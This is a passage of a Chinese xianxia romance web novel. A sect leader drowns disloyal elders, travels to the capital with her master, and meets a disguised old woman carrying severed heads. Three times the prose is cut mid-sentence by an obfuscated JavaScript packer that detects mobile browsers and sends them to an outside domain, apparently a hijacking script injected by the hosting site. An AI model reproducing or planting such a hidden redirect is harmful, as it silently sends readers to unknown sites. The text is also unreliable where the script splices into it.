几位要跑的长老瞬间惊恐地瞪大眼。 大雨峰的峰主漫不经心提着剑,一路拖拽过来,划在青石板上嘶嘶作响。 他冲这几人冷冰冰地说:“今日,诸位哪儿都不能去。” 有胆小的长老当即吓倒在地。 小雨峰的峰主见状,嗔怪道:“什么哪儿都不能去?你就知道吓人。” 几人闻言,看向小雨峰主的眼神里多了一抹救命的期待。 大雨峰主见他们视线都粘在自己娘子身上,十分不爽,剑已经抬了起来。 小雨峰主用眼神按下锃亮的剑,笑颜如花,“诸位放心,沐阳山水牢的大门为你们敞开。” 几位长老:…… 他们心都被吓碎了,哪儿还能放什么心? 在一片鬼哭狼嚎声中,小雨峰主用她的法绳捆了一溜人,饶有兴味地赶着他们走。 她柔声安慰这些长老,“你们别怕,我们的水牢没有别处凶残,水量不及他们的三分之一。” 有长老双手被捆,小心翼翼地问:“真的?” “真的,因为我们会把你囚在笼子里往下沉哦。”小雨峰主语气依旧温柔,“不过我们创新,内容比别处丰富得多,这笼子有普通的,还有满是钢针的站笼。沉水的时候,还可以在脸上闷一个内有尖刺的铁面具……” * 被押到姜盈初面前的时候,有两个长老吓湿了裤子。 早就料到有这种双面虎的姜盈初很是淡然,懒洋洋地恭候他们多时。 “我已经给过诸位离开的机会。”姜盈初抱臂看着被浸在水中的几人,“甚至还给了灵石饯行。你们当时为什么不走呢?” 浑身湿透的长老们嗫嚅着,都不好意思说出自己龌龊的算盘。 无非是既想在姜盈初面前装个好人,又不敢和徐公公的意思有违。 两边都不想得罪,既要又要。 “难以启齿?”姜盈初问,她勾唇嗤笑一声。 暗沉的牢房里没有别人,机关却像有人在操纵。 姜盈初不过扬了扬嘴角,就听轰然一声,几个笼子沉闷地吱呀响着,慢慢往水底浸。 有长老没反应过来,还在水里扑腾挣扎。 也有机灵的长老死死抓着铁笼栏杆,崩溃地解释:“宗主饶命,求宗主饶命,我就是一时鬼迷心——” 他的话没能说完。 姜盈初眉头轻蹙,不满地“啧”了一声。 这个铁笼瞬间急速下沉,沉闷模糊的挣扎声传出水面,回荡在狭小的牢房中。 大家惊恐地盯着那片水域上浮出的气泡,越来越少,越来越少…… 最终归于沉寂。 “啊啊啊——”有个被吓破胆的长老情绪崩溃,吼道:“他阿爷的腿呦!什么宗主,这分明才是灭世的魔头啊!我不想得罪徐公公,也不想得罪你个魔头,我偷偷跑我得罪谁了?” 其他被困在笼中的长老大气不敢喘,虽然自己也是死到临头,但还是忍不住为这个马上就要先走一步的兄台默哀。 姜盈初愉悦地拍了拍手。 这笼子唰然停了! 崩溃的长老还在撕心裂肺地大吼,掏心掏肺掏出所有的污言秽语,朝着姜盈初喷去。 旁边三个长老目瞪口呆,抓着笼子的手都泛麻。 姜盈初轻叹一声,惋惜地摇头:“唉,你们要是有人肯早点说句实话,刚刚那位长老也不至于就这么惨死啊。” 几位长老呆若木鸡:合着您也觉得这死状凄惨吗? 而牢房外狭窄的走道里,徐公公也被吓破了胆,汗水顺着额角滚落,把脸上的粉和成了泥。 大雨峰主押着徐公公,使其不得不透过面前的水月镜,看清牢里惨烈的景象。 姜盈初来到水牢门口时,还在往嘴里塞话梅。 看见徐公公,她故作震惊,呵斥大雨峰主:“唉!让你去请公公,你怎么能把公公押过来呢?还不快快放开!” 峰主配合地放开了人。 徐公公在皇帝身边混,自然是个人精,清楚这一切分明是姜盈初故意为之。 可他也只能装作不懂,笑脸相迎。 毕竟谁也不希望自己被沉到水底泡浮肿。 “我请公公过来,有一事相问。”姜盈初拱手作揖。 徐公公连忙也弯腰低头,“宗主直言便是,奴才知无不言!” 大雨峰主看得挑眉,心想:这阉人机灵啊,刚刚在殿里还自称咱家,这么快就重操旧业,满口奴才。 姜盈初随意地倚在墙上,抱臂说:“我脑子不好使,只能听懂直来直往的实话。刚刚公公在殿里说的那番话,我品不过来背后的深意啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089210|179643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 想到刚刚在水月镜上看到的惨状,徐公公也不敢再循序渐进做铺垫了。 他陪笑,开门见山地解释:“其实皇上的意思简单,只希望宗主能做成两件事。” “哦?” 徐公公声如蚊呐地说:“仙家出了死人的大事,尸横遍野,皇上的意思是……这京都以南,今后也得交与白掌门。” “哦?交给白虎派?”姜盈初似笑非笑,带着几分戏谑地问:“另一件呢?” “皇上让您劝二公主回宫。” 此话一出,大雨峰主愕然地瞪大了眼,怀疑自己听岔了话。 二什么? 什么公主? 他万分惊恐地回头看着宗主。 姜盈初的表情依旧雷打不动,喜怒难辨。 她像没听到“二公主”这个字眼一样,点头问:“办成了如何?办不成又如何?” 徐公公被她说话时的压迫性吓到想遁地,但皇帝的旨意还得传达。 只能缩着脖子,结结巴巴道:“办成了,皇上,皇上准您继续留在沐阳山。办不成的话,皇上让我,让奴才带您去京都。” 徐公公还是咬牙篡改了皇帝的原话。 当着姜盈初的面,他实在憋不出来“押回京都”这么惊悚的话。 “哦——”姜盈初垂眸,略作思索。 半晌,她毫不在意地摊手,“巧了,立春将至,我正好想赏一赏京都的花儿。” 徐公公:??? 不是要押回去的嘛? 怎么她主动要求去了? * 姜盈初漫不经意地做出了这个决定。 结果山上突然有两个人给她摆起了脸色,炸毛跳脚,格外刺人。 第一个,便是徐公公口中的二公主,青龙派掌门若柒柒。 姜盈初正在后山禅定亭打坐,忽而感受到一阵扑面气流,玉锤砸得地面邦邦响。 她睁眼,刚好对上若柒柒委屈又不甘的眼神。 “我不回去!”若柒柒蹲在地上,气得牙痒痒,想把擅自替她做主的姜盈初也给砸扁了。 姜盈初见状,主动起身,往锤子前凑了凑。 怕真的砸到人,若柒柒连忙把锤子收回两寸。 确定若柒柒还没有气到失智,姜盈初笑了笑。 笑得让若柒柒又要炸毛。 姜盈初和若柒柒的相识始于几年前的一条人命。 若柒柒是二公主,野心和实力相称。 几年前请封皇太女未果,一气之下出了宫。 她打着修仙的幌子,给自己招兵买马,准备养精蓄锐,时机到了杀进宫去。 只不过招来的兵里有小人。 那小人偷了人家救命的药钱,转头在赌坊挥霍一空。 姜盈初便追到青龙派所在的华云山,一剑要其狗命。 掌门若柒柒得知内情后,没有怪罪姜盈初强闯山门。 两人反而一见如故,成了挚友。 姜盈初也知道了她修仙之下的实情。 再后来,姜盈初去云游四方,偶然听到了青龙派的名号——这门派突然真成了一个修仙的门派。 她问过若柒柒:兵去哪儿了?马去哪儿了? 可惜时至今日,若柒柒都咬定青山不肯说,一问就摇头。 眼下,姜盈初搭上她的肩,语气忽然郑重:“各门派都惨遭横祸,你不回去,靠你和你的残兵败将能闹什么?” 若柒柒杏眼一瞪,大声道:“我没有闹!我说了,我要修仙!除非斩妖除魔,否则我不会踏入京都一步!” “好吧。”姜盈初说,收回了手。 若柒柒没料到她会这么爽快地答应,半信半疑地问:“真的?” “骗你干什么?”姜盈初说,她又盘腿坐回蒲团,闭目道:“那你留在这里修仙,刚好替我守一下山。” “你去哪儿?” “京都。” 若柒柒一怔,声音拔高,“你闹什么?” 姜盈初缓缓睁眼。 她贴近若柒柒,语气轻柔但严肃:“我不知道你遇到了什么事情,你不愿说,我也不问。但眼下,钦天监插手仙门之事,那太监要带你回宫。甚至我怀疑,仙家的这场浩劫,都和京都脱不了干系。我还守着一座山能干什么?你守着二三百个人又能干什么?” 若柒柒哑口无言。 姜盈初闭眼,不再看她。 第一个炸毛的人勉强得到了安抚。 第二个炸毛的人接踵而至。 * 旺财注意到言遮的脸色沉得要滴水。 他坐在案前,整整一下午,把那把可以刺穿世间万物的匕首擦了又擦。 “你要动手了吗?”旺财恹恹地问。 明知姜盈初是魔头,可到了这个时候,旺财小小的猫心里充满了不舍。 言遮冷冷看着匕首,擦拭的动作仔细温柔,像在描募一幅画。 4. 晋江文学城 04[扁担] 姜盈初擦黑钻进了普华院。 走了两三步,她讶异地发现一盆长明不衰昙被摆在池上桥畔,任凭山风肆虐。 这种可以替代烛火的昙花在沐阳山十分稀有。 姜盈初刚在山上落户时,在主峰山顶发现了一株。 几年过去了,这一株花依旧是全山的独苗,被姜盈初拿来当生辰礼,孝敬给了言遮。 毕竟她师父眼瞎到能把马骑进深谷。 姜盈初抬头,打量言遮的主屋。 长明昙被摆在外头,里面也没有点灯,黑漆漆一片。 她推门进去。 下一瞬,一股力道自身后闪出,强势地把她圈在怀里。 还有个冷冰冰的东西贴着脖颈,凉意丝丝。 姜盈初差点反手提剑刺过去。 不过一抹熟悉的草木香钻进鼻腔,她长舒一口气,放心下来,也不挣扎。 言遮此人,虽然是个常年被药浸润的病秧子,但身上却没沾一点药的清苦味。 反倒是举手投足间都散着一股雨后草木香。 姜盈初闻惯了,竟有些离不开这种味道。 她曾私底下摆弄各种花草香料,却怎么都调不出这种味道的香。 “师父?”姜盈初唤了一声,她欲转身。 言遮冷声呵她:“别动。” 他手上力道又重了几分。 搞得姜盈初一头雾水。 但她转念一想:自己师父这样神神叨叨又不是第一日了。 “我差李良辰来告诉师父,要动身去京都。”姜盈初只好一动不动地问,“师父可知道?” 言遮视线晦暗,落在泛着寒光的匕首上,有一小部分刀背贴着姜盈初的脖颈。 光洁,细腻,修长。 像脆弱的花枝,他只需要轻描淡写地一划,就可以折断她的命。 言遮抬手,匕首抛向空中,转了个方向,又被他稳稳握着。 这次朝向姜盈初脖颈的那一面——是锋利的刀刃。 旺财都不敢继续再看,闭眼,把脑袋埋在爪子上假寐。 “知道。”言遮回姜盈初的话,说:“他来说了。” 刀刃还在一寸一寸朝姜盈初贴近—— “那师父打点好行装了吗?”姜盈初又问。 言遮的手一滞,眼眸微眯,“嗯?” 姜盈初掰着手指,边算边说:“衣裳倒是不用带,灵石和钱师父随意。药一定要带,起码得带五日的,如若京都缺了哪味药,多带的也好接济。” 言遮不吭声,默默收了手上匕首,也松开了姜盈初。 “我也去?”他轻声问。 姜盈初转身,好笑地看她师父:“你要是人缘好点儿,我也不用担心离了我,你会病死在这山上,那自然不用带你。” 言遮勾唇,淡淡笑道:“可惜了,这满山只有我的小徒弟待见我。” “对了,刚刚有东西贴着我脖子。”姜盈初左右打量,“怪冷的。” 言遮“嗯”了一声,垂眸,从袖中摸出一支玉簪。 “白玉的,不冷才怪。”他抬手,指尖轻挑,将簪子斜插.入姜盈初的发间。 旺财抬起一张猫脸,不可置信地看着眼前的一派祥和。 不是说要杀了她吗? 匕首怎么变玉簪了? * 两日后。 言遮倚着朱漆廊柱,眼巴巴地看着院门。 堂堂帝君,却和看家狗没什么两样。 这光景简直惨不忍睹。 旺财忍不住吐槽道:“擦了一下午的匕首,还以为是要动手,没想到是以为被丢下了,在闹脾气。” 言遮黑着脸斜睨过来。 旺财浑身一冷。 看见姜盈初的身影出现在院门口,连忙一溜烟地跑过去扑进避风港的怀抱。 言遮的脸更黑了。 哪怕到浩浩荡荡一行人聚集在山门时,言遮也依旧没露出一点儿笑。 若柒柒心口不一,嘴上嚷着誓死不进京都。 但行至山门处,姜盈初还是一眼就看到了那个拎着包袱的绿色长裙。 徐公公和宫里侍从跟在后面,看见若柒柒,眼睛齐刷刷都亮了。 “宗主。”徐公公谨小慎微地开口,“殿下来了。” 姜盈初主动接过若柒柒手里的包袱——而后这包袱又被黑脸的言遮接过了。 姜盈初习以为常,什么都没说。 她转头看向徐公公的时候,立马收起刚刚灿烂的笑。 “是,我看到了。”姜盈初冷嗖嗖道。 徐公公觉得这话里的冰渣子糊了自己一脸。 “那……” 姜盈初问:“那什么?” 那您还去京都干嘛呀?徐公公茫然。 但对上姜盈初可以杀人的眼神,徐公公不敢吱声,默默闭嘴。 “打理好主峰的事务。”姜盈初偏头,对李良辰叮嘱。 言遮狐假虎威,也懒洋洋地附和:“可不能偷懒啊。” 李良辰好比吃了黄连的哑巴,咬牙切齿地应好。 “你们打理好各自峰上的事务。”姜盈初又交代两位峰主,“管好门下弟子。” 沐阳山主峰只有仙童。 来修仙的弟子都发配去了大小雨峰,只有碰上大考,姜盈初才会指点一二。 又陆陆续续交代了乌泱泱一堆事,终于可以继续下山。 满地积雪厚实,枝桠披雪悬冰,浩浩荡荡五里白,天地间一片干净。 山下,车辆和马匹已经备好。 姜盈初犯难地盯着马车。 徐公公见她停住,连忙鞍前马后地问:“宗主可是觉得哪里不妥?” “我御剑去,比马车快。”姜盈初说。 若柒柒也立马附和:“是,我也可以。” 徐公公一噎,心底对这会术法的人生出一丝艳羡。 同时也担心,谁知道您二位会御去哪里?跑了咋办? 转头看见一旁面无表情的言遮,徐公公大喜,如同看见了救命稻草。 “这位公子也会御剑?”他问。 姜盈初“嘶”了一声,摇头,替自己师父回答说:“那倒不会。” 言遮满脸木然,生无可恋。 第一次,他后悔自己当初走了废物师尊的路线。 “但我可以带着他。”姜盈初又说。 言遮周身的温度一下子乍暖还春。 “我今日头疼。”若柒柒突然开口,麻利地登上马车,斩钉截铁:“不宜御剑。还是坐马车吧。” 姜盈初只得点头。 她很随意,怎么去都行。 言遮也点头,皮笑肉不笑地钻进马车,贴近自己徒弟。 目光寒凉地扫了眼若柒柒。 若柒柒也横眉冷对言遮,丝毫不掩饰自己的嫌恶。 倒不是因为言遮那些自诩金贵的毛病。 而是—— 譬如此刻,言遮倚在姜盈初肩头。 若柒柒虽然知道这厮是姜盈初的师父,但心里还是涌上一种羊肉落进狗嘴里的悲凉。 马车缓缓往前驶。 若柒柒细微地“哼”了一声,也上手去挽姜盈初的胳膊。 一边贴着一个人,好比一边燃着一个火炉。 姜盈初很心塞。 她冷酷无情地推开这两块儿狗皮膏药,伸手从言遮腿上捞起旺财,心满意足地抱在怀里。 言遮:? 若柒柒:? 背锅的旺财:…… * 沐阳山离京都不算远,姜盈初又给马匹都贴了符纸,车程不过两日。 忽略言遮和若柒柒之间的不悦,一路倒也风平浪静。 直到第一日傍晚,日薄西山时。 车队摇摇晃晃,经过一处荒无人烟的山沟,马身忽然一个趔趄,毫无征兆地急停了下来。 姜盈初还未挑起车帘,就听外面有个声音撕心裂肺地喊叫。 “这里有魔!有魔啊!” 下一瞬,徐公公连滚带爬地窜到姜盈初的车前,也惊恐地吼:“宗宗宗宗主救命——” 姜盈初皱眉,出了马车。 徐公公瘫软地倚着马,手指颤抖指向前方:“宗主,前前面……” 他哆嗦着说不出话来。 言遮和若柒柒也连忙跟在姜盈初身后,一齐往前走。 只见车队最前方,有个头发花白的老妇人跌坐在地。 而一众侍从表情都万分惊恐。 老妇人念叨着“此地有魔头”的话,身旁散落着一个扁担。 姜盈初一怔。 言遮眯着眼,看清那扁担里头的东西后,连忙伸手捂住姜盈初的眼睛。 “什么?”姜盈初问。 言遮犹豫了一下,还是轻声答:“人头。” 那扁担的两个箩筐里,各自装着一颗头颅! 也难怪这一行人都被吓破了胆。 若柒柒看见这种血淋淋的场面,也忍不住皱眉,不敢上前。 姜盈初听到言遮的话,却波澜不惊,说:“那你放开,我不害怕。” 言遮撤了手。 姜盈初便在一众目光里,毫无惧色地走到了那老妇人面前。 “阿婆?”她蹲下身,柔声问。 冬末春初,沟里没落多少雪。新绿掺在枯草间,和渐渐暗下的天色一块儿斑驳。 老妇人慢悠悠伸出一只手。 姜盈初也伸手,想回握着安慰她。 不料老妇人枯瘦的手突然“蹭”地抓住她的胳膊,力道格外大。 姜盈初吃痛在心里,面上纹丝不动。 毕竟谁见到这筐里两个人头都会害怕,力道没轻没重,可以理解。 “阿婆,发生什么了?”姜盈初又问。 老妇人低着头,五官隐隐。 她死死抓着姜盈初,声音嘶哑:“这儿有魔,有魔头出世!” 姜盈初安慰地轻拍她的背,“阿婆,这筐里的……是怎么回事呢?” 两颗头颅湿哒哒,血淋淋。 一男一女, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089211|179643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上都还维持着惊恐的表情,死不瞑目。 姜盈初扫了眼油亮的竹条,眸光幽深。 周围的人吓得大气都不管喘,眼神胡乱纷飞,不敢看这边。 生怕和那人头来个深情对视。 不过耳朵都竖得与天公争高,屏息凝神听这边的动静。 只有言遮面色不悦,轻晃着扇子。 怀里的旺财顺着他的视线看去,发现他的目光聚集在那老妇人抓着姜盈初胳膊的手上。 “魔头出世!”老妇人的声音突然变得高昂,激愤道:“姑娘,这条路不能再往前走啦!” “为什么?” “那算命的仙人说了,魔头途径此地,会有灾祸啊!”老妇人松了手,泪眼涟涟,“都怪我,我还以为这是胡话,还催莺儿和袁郎来拾柴火……” 老妇人哽咽,说得断断续续。 姜盈初耐心地听着,理清了来龙去脉。 这老妇人是山沟里的住户,几日前有个道士说过,有魔头途径此地,招来横祸。 老妇人不信,雷打不动催女儿女婿出来捡柴。 等他们久久不归时,老妇人出来寻,就寻到了两颗孤零零的人头。 姜盈初沉默片刻,问:“阿婆,道士还说什么了么?” “比如那魔头的长相。”身后,言遮突然温声道。 姜盈初才注意到自己师父。 若柒柒躲在三米开外的地方,言遮却寸步不退。 “师父……不怕?”姜盈初探究地问。 言遮沉声应道:“嗯。” 姜盈初鲜少见他这么正经的样子,轻眨一下眼,带着一丝恍惚转过身。 她转过身,却意外地发现眼前一片空落落。 再偏头,她看见那个老妇人正挑了扁担,飞速地朝远处山林窜。 速度甚至能比上贴了灵符的马,坑坑洼洼的山坡她如履平地。 哪有一点老妇人的样子? 众人看着那道身影,目瞪口呆。 下一瞬,他们面前又闪过一道白色虚影,只听“蹭”的一声,眨眼间那虚影就带来凌冽的扑面冷风。 浮生剑出鞘,径直追着老妇人。 姜盈初面无表情,身侧手攥成拳,死死盯着老妇人挑扁担逃跑的背影。 “怕什么?”言遮轻声道。 是个疑问句,却更像自言自语。 他的声音很小,周围又刮起了大风,只有旺财听到了这莫名其妙的疑问。 剑快得能划破风声,众人都替这老妇人默哀。 拦了仙门宗主,却什么都没说,还想跑——这不就是送人头吗? “咣当——” 不远处传来重物坠地的声音,吓得众人一激灵。 那老妇人跑远了,淡出众人视线。 而狠狠磕在石头上的,居然是浮生剑! 好像从天而降一盆滚烫热水,烫得人人都倒吸凉气。 姜盈初垂眸,突然毫无征兆地向后瘫倒。 向后仰去的那一瞬,她看着天,热泪夺眶而出。 砸在了言遮手上。 言遮稳稳当当把她揽进怀里,又给若柒柒使了个眼色。 两人针锋相对整天,这会儿双双卸下个人恩怨。 言遮扶着姜盈初钻进了马车,若柒柒拾了剑,也从容钻进车里。 侍从和太监满头雾水,又不得不稀里糊涂地继续前进。 * 姜盈初阖眼睡了,什么都不想说。 言遮不知道从哪里翻出来一件自己的白色狐裘,给她盖好,仔细地掖了掖衣角。 车内剩下的两人一猫都很无措。 “你以前见过她这样么?”若柒柒不得不开口问。 言遮摸着旺财的手一僵,反问:“你也没见过?” 两人惊疑不定地对望。 忍着对于对方的不爽,勉强心平气和地交流了一会儿,最终得出来个惊掉人下巴的结论。 若柒柒:你是说你从来没见过她哭? 言遮:你是说你从来没见过她哭? 嘿,真没有。 师父和朋友如此关系亲近的人,都没见过。 * 子时,夜风习习,山间路上碎石朦胧在月色中。 姜盈初没有醒,若柒柒也直挺挺坐着入睡。 言遮不情不愿地抱着旺财,忽而用心声唤这只蠢麒麟:“我要进她的识海。” 旺财惊得一崩三尺高。 所谓识海,便是人的内心一隅。 这块儿最隐秘,最真实的地方。喜怒哀乐之类鸡毛蒜皮的小情绪挤不进去,这里存放的是爱恨情仇。 是一些可能自己都淡忘了记忆,自己都未曾发觉的情感。 “你疯啦?”旺财也用心声质问言遮,“你接了杀她的重任,如若再对她使这种高等术法,可是算你用法力干涉天道的!” “我知道。”言遮轻声道。 他的嗓音清冽平稳,不闻喜怒,只能听出某种不容反驳的决绝。 旺财傻了。 5. 晋江文学城 05[识海] 半炷香后。 旺财灵相化作麒麟,驼着自己那决心要作死的主子,进了姜盈初的识海。 “你可想清楚了。”旺财老妈子一样,再三确认,“天道说不定会注意到你!” 言遮向前俯身,低低趴在麒麟身上,与之四目相对。 他满目冰霜,嗤笑着问:“你是天道的灵兽,还是我的?” 旺财不假思索:“当然是你的啊。” “那——你要是再提它,就给我滚。”言遮好整以暇地坐直身子,“走。” 旺财:…… 被帝君威胁的旺财在心底怒骂:好心就是这么被当作驴肝肺的! 但它也只敢在心底发泄一下。 表面上,它不但要驼着主子作死,还要干巴巴地叮嘱:“哦,那你坐稳了。” 淌过沸腾的热浪,穿过天罗地网的大雪。进识海的困难层峦叠嶂,旺财飞得举步维艰。 终于,暗红天日下终于翕动着一点光亮。 言遮看见一间破烂小屋立在幽幽黑海中央。 识海之象,因人而异,呈现的都是每个人最割舍不下的记忆。 旺财载着言遮降至岸上,化成了一个眉清目秀的少年,邀功地朝言遮看去。 看吧,我驼你来到这种地方,是不是得表扬两句? 不料言遮丝毫没理会它的满脸期待,反而蹙着眉心。 “没有常青树。”言遮说完,径直朝小屋走。 旺财一愣,环顾四周,这才注意到不对劲。 寻常人的识海,一定会有两三棵常青树,每棵都代表一份依赖。 爱人,亲人,师长…… 姜盈初的这块儿地却荒瘠得厉害,比旺财的猫食盆子还要空。 这丫头就没有一个依赖的人? “也说得过去,她毕竟是大魔头嘛。”旺财转念一想,分析道。 他跟着言遮进了小屋。 屋里光线昏暗,言遮站在明暗交界处,半张脸好似蒙了面具。 而他身边的阴影里,一根小团子正哭得撕心裂肺。 小团子泪水鼻涕糊了满脸,哭得奶声奶气,具有团子的软糯。 可是又瘦得形销骨立,只能称其为一根团子。 一根团子是年幼的姜盈初。 门口,有个头发花白的男人,挑了扁担要往出走。 言遮狭长的眼眸眯起来。 这男人挑扁担的样子,像今天那个老妇。 “爹爹——”姜盈初在地上抽抽搭搭地喊,“爹爹你别走……” 男人回头看了她一眼,眸中情绪复杂,有几分不忍。 但他还是毅然出了门。 关门声震得姜盈初瘫在地上。 她费力地从地上爬起来,跌跌撞撞地要去追自己那挑了粮食就跑的爹。 “皎皎。”床上,面黄肌瘦的女人嘶哑地喊。 皎皎。 言遮跟着在心底默念了一遍姜盈初的小字——他从来没有听她提起过。 姜盈初经过言遮,扑向了自己在病榻上的娘。 “爹爹,爹爹他把吃的挑走了。”她在娘亲怀里告状一般哭诉。 床上的女人双目猩红,手也颤抖。 她拍了拍姜盈初的脸蛋,语气轻柔:“皎皎不哭,那不是你爹爹。从今以后,你不要再喊他爹爹……” 又过一阵,门外忽然传来吵嚷的人声。 “快贴封条!姜先生说了,他夫人染了那种怪病!” “窗子!窗子也要封牢。” …… 而姜盈初双眼紧闭,缩在娘亲怀里。 她娘亲的手光洁细腻,白得虚弱,轻轻捂着她的耳朵。 好像这样就能把恐惧拒之门外一样。 言遮踱步至床边,蹲下,缓缓伸手。 哪怕知道自己此刻只是灵相,他还是产生了擦掉这小团子脸上泪痕的冲动。 “砰——” 一阵狂风吹来,闯进屋门。 言遮起身,退到一边。 可姜盈初和她娘亲却都没听见这阵风一样,没有一点儿反应。 言遮瞳孔微微张大。 风直直地朝他刮来了! 旺财连忙又化了麒麟相,言遮翻身跨上麒麟,主仆闪电般夺门而出。 幽深的识海此刻狂风大作,海上巨浪滔天。 好在旺财不是一般灵兽,灵敏地驼着主子穿梭在风雨间。 等出了识海,元神归体的时候,主仆一人一麒麟都疑惑。 旺财皱着猫脸,用心声问言遮:“她的识海怎么能察觉到我们?” 言遮对此倒是很波澜不惊,幽幽道:“她是魔。” 但他眉心的结依旧没有散开。良久,喃喃自语:“为什么没有常青树?” 起码他以为,自己这个师父的存在,足够长出一棵。 可她的识海空空如也——她连自己也不依赖。 旺财如法炮制,幽幽地答:“她是魔。” 言遮:…… * 云清台,宫里专门修来接待仙人的地方。 姜盈初几人也被安排暂住在这里。 云清台的掌事听闻来的仙人乃是仙门宗主,一大早就张罗准备了各种佳肴,还把云清台的大小宫殿都扫了个干净,好让宗主参观得尽兴。 不料姜盈初迈进宫门,第一句话是“我要沐浴。” 掌事见她浑身是血的模样,登时慌了神:“宗宗宗主可是受了伤?” 姜盈初摇头:“别人的血。” 掌事更慌了。 姜盈初觉得自己这一路过来实在坎坷。 短短两日的路程。 第一日,她碰上个健步如飞的老妇人。 第二日,她又碰上一群杀手,且招式间灵气四溢,并非普通人。 这群杀手有眼色,来得迅疾,跑得更是麻利,刹那间便无影无踪。 姜盈初杀了两个,想捉一个盘问时,剑却只堪堪擦到了对方的背。 夜里,姜盈初没敢阖眼,静坐在花前阶上吹风。 若柒柒也没睡,蹑手蹑脚贴近她:“我觉得这一切都是常平的手笔。” “谁?”姜盈初觉得这名字熟悉。 “四皇子。”若柒柒解释道,“冲我来的。” 姜盈初拖着长腔“噢”了一声,支着下巴深思。 当今皇帝共育八子,除去三位公主殿下,皇子里面,实力最出众的便是四皇子。 若柒柒又有请封皇太女之举,此番回宫,难免引起这位四殿下的警惕。 只是—— “不对。”姜盈初摇头道。 若柒柒问:“哪儿不对?” 姜盈初捻着枯枝,说:“这些人更像是冲我来的。” 有哪个老妇出来寻子女,会挑个扁担? 难不成未卜先知,早就知道前方有两颗血淋淋的头颅在等她? 这一切不像冲若柒柒来的。 更像是要——勾起她的一些回忆。 可谁会知道她从未与人提起的这些事呢? 一阵大风吹过,廊下灯笼杂乱地摇曳。 姜盈初起身,打了个寒颤。 * 沐阳山,领事李良辰今日卧病在床。 山门上下有很多弟子涌去探望。 李良辰身为主峰领事,没有灵根,不会法术。 但因为做事老实,勤勤恳恳,人缘在山上是一等一的好。 待到涌进去的弟子都稀稀拉拉出来后,大雨峰主也提着食盒去探望了一番。 食盒里是小雨峰主炖的鲫鱼豆腐汤。 李良辰受宠若惊,覷着大雨峰主的脸色,想接又不敢接。 “哎呀,专门给你炖的!”大雨峰主瞧出了他的顾虑,笑呵呵道:“你放心喝。你这一个凡人的小身板,病重了可了不得。” 李良辰嘴角依旧挂着谦和的笑,羡慕地说:“是啊,都是我不争气。要是我有灵根,能跟着宗主修行,该多好。” 大雨峰主安慰地拍了拍他的肩。 放下食盒,他负手出了门。 李良辰盯着门口,笑意纹丝不减。 良久,他动了动身子,从床下拖出来个药箱。 借着镜子,他偏头,褪下自己的上衣。 镜中,李良辰的背上赫然是一道狰狞的伤口。 他龇牙咧嘴地给自己上了药,又把药箱藏在床底。 感受着伤口处不断传来的丝丝阵痛,李良辰笑着,喃喃道:“宗主,你下手真狠。” * 若柒柒回宫,宫里大张旗鼓,办了个接风宴。 姜盈初也在被邀请的人里头。 她想,这宴定是包藏祸心的鸿门宴了。 她和若柒柒迈出云清台的时候,却发现有个熟悉的身影等在马车前。 言遮薄唇抿成一条直线,抬眸挑眉。 姜盈初上前扒拉他:“师父站在这里干嘛?” 言遮巍峨地倚着马车,纹丝不动。 他被姜盈初气笑了,反问:“你站在这里干嘛?” “进宫赴宴啊。”姜盈初摊手,“你别倚在马车上了,待会儿马车一走,不得晃你——” 言遮打断她,“你去赴宴,我呢?” 姜盈初一愣,没想到她师父会提出如此清奇的问题。 “你在云清台等我。”她说,“你要是觉得无聊,还有旺财陪你呢。” 话音刚落,言遮突然两三步上前,扣着她的手腕,将她虚虚揽进怀里。 动作很亲昵。 语气又很冰冷。 他眯着眸子问:“我和旺财一样,都是被你丢在这里的小畜生?” 姜盈初没见过她师父黑着脸的样子。 这会儿头一次见,她莫名理解了山上弟子对言遮的看不惯从何而来——这人无理取闹起来,都是一本正经的。 “姜盈初。”无理取闹的师父突然低声唤道。 “啊?” “你不把我当师父,你不依赖我,我不怪你。”言遮淡淡道,“但你别把我当旺财,起码,别丢下我。” 听君一席话,胜遭十道雷。 姜盈初便如遭雷击地愣在原地。 她怀疑自己刚刚产生了幻觉。 平日里死皮赖脸的师父,说出了“别丢下我”这种几近乞求的话? 还有那句“你不依赖我。” 姜盈初无话可反驳,更多是伪装被戳破之后的赧然。 于是马车又像进京那日,挤了三个人。 言遮得偿所愿地去了宫宴,留下旺财一猫独守云清台,百无聊赖。 就差去和云清台的狗一决高下了。 既是精心策划的鸿门宴,这座位也定暗含深意。 姜盈初和言遮被安排坐在一位将军身边。 将军叫闻项,最近大名轰动了京都。 倒不是什么打了胜仗之类的原因。 相反,闻项败得格外凄惨,两千士兵埋骨沙场。 不过景帝并未降罪于他,听说他自己先惶恐地交了兵权。 在听到姜盈初的名字后,闻项手里的酒樽一斜。 随后热情地侧身过来,招呼道:“姜宗主?” 姜盈初也颔首,“闻将军。” “哎呦,莫要再喊我将军了。”闻项夸张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 